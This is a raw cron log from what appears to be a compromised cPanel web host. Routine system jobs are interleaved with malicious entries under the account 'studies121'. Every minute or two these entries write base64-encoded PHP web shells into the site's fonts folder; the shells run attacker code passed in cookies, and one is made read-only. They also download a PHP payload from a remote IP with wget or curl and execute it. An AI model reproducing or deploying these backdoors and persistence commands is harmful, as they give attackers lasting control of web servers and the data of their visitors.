Aug 30 15:55:01 ip-184-168-122-23 CROND[5645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:55:01 ip-184-168-122-23 CROND[5646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:56:01 ip-184-168-122-23 CROND[5735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:56:01 ip-184-168-122-23 CROND[5737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:56:01 ip-184-168-122-23 CROND[5739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:56:01 ip-184-168-122-23 CROND[5740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:56:01 ip-184-168-122-23 CROND[5738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:57:01 ip-184-168-122-23 CROND[5819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:57:01 ip-184-168-122-23 CROND[5821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:57:01 ip-184-168-122-23 CROND[5822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:57:01 ip-184-168-122-23 CROND[5823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:58:01 ip-184-168-122-23 CROND[5902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:58:01 ip-184-168-122-23 CROND[5904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:58:01 ip-184-168-122-23 CROND[5906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:58:01 ip-184-168-122-23 CROND[5907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:58:01 ip-184-168-122-23 CROND[5905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:59:01 ip-184-168-122-23 CROND[6101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:59:01 ip-184-168-122-23 CROND[6103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:59:01 ip-184-168-122-23 CROND[6104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:59:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:00:01 ip-184-168-122-23 CROND[6196]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6201]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:00:01 ip-184-168-122-23 CROND[6205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:00:01 ip-184-168-122-23 CROND[6206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:01:01 ip-184-168-122-23 CROND[6311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:01:01 ip-184-168-122-23 CROND[6312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:01:01 ip-184-168-122-23 CROND[6316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:01:01 ip-184-168-122-23 CROND[6314]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 16:01:01 ip-184-168-122-23 CROND[6322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:01:01 ip-184-168-122-23 CROND[6321]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6314]: starting 0anacron
Aug 30 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6334]: finished 0anacron
Aug 30 16:02:01 ip-184-168-122-23 CROND[6433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:02:01 ip-184-168-122-23 CROND[6434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:02:01 ip-184-168-122-23 CROND[6436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:02:01 ip-184-168-122-23 CROND[6435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:02:01 ip-184-168-122-23 CROND[6437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:03:01 ip-184-168-122-23 CROND[6521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:03:01 ip-184-168-122-23 CROND[6523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:03:01 ip-184-168-122-23 CROND[6524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:03:01 ip-184-168-122-23 CROND[6525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:04:01 ip-184-168-122-23 CROND[6606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:04:01 ip-184-168-122-23 CROND[6607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:04:01 ip-184-168-122-23 CROND[6610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:04:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:04:01 ip-184-168-122-23 CROND[6609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:05:01 ip-184-168-122-23 CROND[6789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:06:01 ip-184-168-122-23 CROND[6914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:06:01 ip-184-168-122-23 CROND[6915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:06:01 ip-184-168-122-23 CROND[6912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:06:01 ip-184-168-122-23 CROND[6913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:06:01 ip-184-168-122-23 CROND[6916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:07:02 ip-184-168-122-23 CROND[7023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:07:02 ip-184-168-122-23 CROND[7024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:07:02 ip-184-168-122-23 CROND[7025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
